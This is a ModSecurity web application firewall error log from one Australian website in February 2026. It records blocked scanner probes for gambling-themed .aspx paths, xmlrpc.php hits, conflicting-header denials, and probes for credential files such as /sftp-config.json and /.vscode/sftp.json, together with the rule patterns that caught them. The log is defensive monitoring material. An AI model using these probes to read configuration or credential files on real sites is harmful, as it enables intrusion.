[Tue Feb 24 06:39:35.418195 2026] [:error] [pid 37540:tid 37624] [client 145.239.69.153:50926] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aZzXJyahRAUBJS8hpJVvPwAAAJY"]
[Tue Feb 24 06:39:38.107596 2026] [:error] [pid 37644:tid 37665] [client 145.239.69.153:50938] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aZzXKkLaEhVDwBRydH1hIgAAANM"]
[Tue Feb 24 06:39:40.738363 2026] [:error] [pid 11672:tid 11679] [client 145.239.69.153:33674] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aZzXLPa0fhnmfPYq92u1QAAAAQU"]
[Tue Feb 24 06:39:43.035051 2026] [:error] [pid 11672:tid 11688] [client 145.239.69.153:33678] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aZzXL_a0fhnmfPYq92u1RwAAAQ4"]
[Tue Feb 24 06:39:45.530408 2026] [:error] [pid 11672:tid 11691] [client 145.239.69.153:33692] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aZzXMfa0fhnmfPYq92u1TwAAARE"]
[Tue Feb 24 06:39:48.237755 2026] [:error] [pid 37540:tid 37617] [client 145.239.69.153:33696] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aZzXNCahRAUBJS8hpJVvQgAAAI8"]
[Tue Feb 24 06:39:50.867145 2026] [:error] [pid 37539:tid 37577] [client 145.239.69.153:42232] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aZzXNnEnr46jUQep9z_XgAAAAEI"]
[Tue Feb 24 06:39:53.435775 2026] [:error] [pid 37539:tid 37594] [client 145.239.69.153:42234] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aZzXOXEnr46jUQep9z_XiQAAAFM"]
[Tue Feb 24 06:39:55.805198 2026] [:error] [pid 37644:tid 37665] [client 145.239.69.153:42246] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aZzXO0LaEhVDwBRydH1hNgAAANM"]
[Tue Feb 24 06:39:58.259628 2026] [:error] [pid 11672:tid 11692] [client 145.239.69.153:42254] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aZzXPva0fhnmfPYq92u1VgAAARI"]
[Tue Feb 24 06:40:00.827182 2026] [:error] [pid 11672:tid 11679] [client 145.239.69.153:39302] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aZzXQPa0fhnmfPYq92u1WwAAAQU"]
[Tue Feb 24 06:40:03.290847 2026] [:error] [pid 37540:tid 37616] [client 145.239.69.153:39310] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aZzXQyahRAUBJS8hpJVvTAAAAI4"]
[Tue Feb 24 07:11:31.761320 2026] [:error] [pid 37538:tid 37569] [client 43.164.196.57:48058] [client 43.164.196.57] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aZzeoyynTiHZ9J0Y2nZw7gAAABU"]
[Tue Feb 24 07:50:07.469818 2026] [:error] [pid 41188:tid 41200] [client 217.182.194.16:47672] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aZznrwWRg7szIRhA0WiSXAAAAUk"]
[Tue Feb 24 07:50:10.030326 2026] [:error] [pid 41188:tid 41195] [client 217.182.194.16:44016] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aZznsgWRg7szIRhA0WiSXwAAAUQ"]
[Tue Feb 24 07:50:12.600063 2026] [:error] [pid 37540:tid 37625] [client 217.182.194.16:44032] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aZzntCahRAUBJS8hpJWQ6gAAAJc"]
[Tue Feb 24 07:57:53.044084 2026] [:error] [pid 37539:tid 37580] [client 217.182.194.16:60818] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aZzpgXEnr46jUQep9z_njwAAAEU"]
[Tue Feb 24 07:57:55.830000 2026] [:error] [pid 37538:tid 37551] [client 217.182.194.16:42286] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aZzpgyynTiHZ9J0Y2nZ4wQAAAAM"]
[Tue Feb 24 07:57:59.088963 2026] [:error] [pid 41188:tid 41201] [client 217.182.194.16:45230] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aZzphwWRg7szIRhA0WiVigAAAUo"]
[Tue Feb 24 10:30:39.338786 2026] [:error] [pid 41188:tid 41200] [client 182.43.70.143:50303] [client 182.43.70.143] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aZ0NTwWRg7szIRhA0WjWhAAAAUk"]
[Tue Feb 24 11:16:26.860283 2026] [:error] [pid 37539:tid 37580] [client 104.28.222.75:40057] [client 104.28.222.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.28.222.75, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aZ0YCnEnr46jUQep9z8LWgAAAEU"]
[Tue Feb 24 11:16:38.187171 2026] [:error] [pid 11672:tid 11683] [client 103.103.138.162:63605] [client 103.103.138.162] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.103.138.162, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aZ0YFva0fhnmfPYq92sJfAAAAQk"]
[Tue Feb 24 12:43:39.055642 2026] [:error] [pid 11672:tid 11675] [client 43.153.19.83:60702] [client 43.153.19.83] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aZ0se_a0fhnmfPYq92sgjwAAAQE"]
[Tue Feb 24 13:50:15.977473 2026] [:error] [pid 37644:tid 37651] [client 43.130.53.252:52928] [client 43.130.53.252] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aZ08F0LaEhVDwBRydH2x9wAAAMU"]
[Tue Feb 24 13:55:03.401627 2026] [:error] [pid 11672:tid 11687] [client 128.140.106.114:6882] [client 128.140.106.114] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "157.97.120.9_9b8a103a5a15f33ae18130d0e98c2d8cbdf99188"): Internal error (specific information not available) [hostname "measureyourbrand.com.au"] [uri "/index.php"] [unique_id "aZ09NPa0fhnmfPYq92s6ugAAAQ0"], referer: https://measureyourbrand.com.au/
[Tue Feb 24 18:05:25.271312 2026] [:error] [pid 34749:tid 34764] [client 43.135.211.148:49138] [client 43.135.211.148] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aZ135YDERuV6HM3T9Km7eAAAAEo"]
[Tue Feb 24 19:05:47.029222 2026] [:error] [pid 34750:tid 34794] [client 43.166.7.113:41296] [client 43.166.7.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aZ2GC-aZ-Iv_wvbRkKIBJAAAAU0"]
[Tue Feb 24 19:48:12.969719 2026] [:error] [pid 34750:tid 34800] [client 103.77.107.57:51486] [client 103.77.107.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/sftp-config.json"] [unique_id "aZ2P_OaZ-Iv_wvbRkKIWBgAAAVM"]
[Tue Feb 24 19:48:13.174039 2026] [:error] [pid 34750:tid 34805] [client 103.77.107.57:51502] [client 103.77.107.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.vscode/sftp.json"] [unique_id "aZ2P_eaZ-Iv_wvbRkKIWBwAAAVg"]
[Tue Feb 24 20:43:07.790122 2026] [:error] [pid 16868:tid 16913] [client 196.249.229.22:53658] [client 196.249.229.22] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 196.249.229.22, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aZ2c2ydEecEcYKsh8PT15wAAA9A"]
[Wed Feb 25 00:12:30.856123 2026] [:error] [pid 37884:tid 37907] [client 43.167.241.46:52184] [client 43.167.241.46] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aZ3N7v08KJo-7FmKlnBdVwAAA1M"]
[Wed Feb 25 00:19:38.661630 2026] [:error] [pid 40455:tid 40473] [client 81.167.26.57:22499] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/allslot%20wallet.aspx"] [unique_id "aZ3Pmlw13ca9RV2qrBmecgAAAU0"]
[Wed Feb 25 00:19:41.137714 2026] [:error] [pid 40393:tid 40413] [client 81.167.26.57:55713] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amb%20superslot.aspx"] [unique_id "aZ3PnbDZWhNc1DniCm3uyAAAAE4"]
[Wed Feb 25 00:19:43.749306 2026] [:error] [pid 40393:tid 40410] [client 81.167.26.57:38326] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aZ3Pn7DZWhNc1DniCm3uzwAAAEs"]
[Wed Feb 25 00:19:46.461707 2026] [:error] [pid 40393:tid 40419] [client 81.167.26.57:63215] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aZ3PorDZWhNc1DniCm3u2QAAAFQ"]
[Wed Feb 25 00:19:49.147555 2026] [:error] [pid 40394:tid 40448] [client 81.167.26.57:7107] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aZ3PpeDlibHIQ-y0MaSSBAAAAJU"]
[Wed Feb 25 00:19:51.637691 2026] [:error] [pid 40456:tid 40509] [client 81.167.26.57:6493] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aZ3Pp-P0ojUS1IXv0AXq9wAAAZY"]
[Wed Feb 25 00:19:54.141709 2026] [:error] [pid 40455:tid 40479] [client 81.167.26.57:61299] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aZ3Pqlw13ca9RV2qrBmedQAAAVM"]
[Wed Feb 25 00:19:54.141937 2026] [:error] [pid 40455:tid 40479] [client 81.167.26.57:61299] [client 81.167.26.57] ModSecurity: Audit log: Failed to lock global mutex: Invalid argument [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aZ3Pqlw13ca9RV2qrBmedQAAAVM"]
[Wed Feb 25 00:19:54.142084 2026] [:error] [pid 40455:tid 40479] [client 81.167.26.57:61299] [client 81.167.26.57] ModSecurity: Audit log: Failed to unlock global mutex: Invalid argument [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aZ3Pqlw13ca9RV2qrBmedQAAAVM"]
[Wed Feb 25 00:19:57.005020 2026] [:error] [pid 18441:tid 18724] [client 81.167.26.57:2545] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aZ3PrRYF1wpOnXIaHlOGIAAAAM8"]
[Wed Feb 25 00:19:59.604454 2026] [:error] [pid 18441:tid 18714] [client 81.167.26.57:32992] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aZ3PrxYF1wpOnXIaHlOGKwAAAMY"]
[Wed Feb 25 00:20:02.126941 2026] [:error] [pid 18441:tid 18718] [client 81.167.26.57:55472] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aZ3PshYF1wpOnXIaHlOGOQAAAMo"]
[Wed Feb 25 00:20:04.683262 2026] [:error] [pid 18850:tid 18867] [client 81.167.26.57:2965] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aZ3PtODBmHucoAJRnqnTDQAAAA8"]
[Wed Feb 25 00:20:07.188675 2026] [:error] [pid 18447:tid 18768] [client 81.167.26.57:26885] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aZ3Pt8-TpHVc8yBj5eacEQAAAgU"]
[Wed Feb 25 00:20:09.891192 2026] [:error] [pid 18458:tid 18796] [client 81.167.26.57:26035] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aZ3PuQuir-tBe4tUislqFAAAAoM"]
[Wed Feb 25 00:20:12.422314 2026] [:error] [pid 18447:tid 18763] [client 81.167.26.57:43156] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aZ3PvM-TpHVc8yBj5eacFwAAAgA"]
[Wed Feb 25 00:20:15.144680 2026] [:error] [pid 18447:tid 18780] [client 81.167.26.57:46175] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aZ3Pv8-TpHVc8yBj5eacHwAAAhE"]
[Wed Feb 25 00:20:17.859164 2026] [:error] [pid 18447:tid 18774] [client 81.167.26.57:29809] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aZ3Pwc-TpHVc8yBj5eacJwAAAgs"]
[Wed Feb 25 00:20:20.596324 2026] [:error] [pid 18441:tid 18726] [client 81.167.26.57:59070] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aZ3PxBYF1wpOnXIaHlOGVQAAANE"]
[Wed Feb 25 00:20:23.297611 2026] [:error] [pid 18458:tid 18798] [client 81.167.26.57:29660] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aZ3Pxwuir-tBe4tUislqLQAAAoQ"]
[Wed Feb 25 00:20:25.854400 2026] [:error] [pid 18447:tid 18781] [client 81.167.26.57:25839] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aZ3Pyc-TpHVc8yBj5eacLAAAAhI"]
[Wed Feb 25 00:20:28.347016 2026] [:error] [pid 18458:tid 18801] [client 81.167.26.57:29889] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aZ3PzAuir-tBe4tUislqPAAAAoc"]
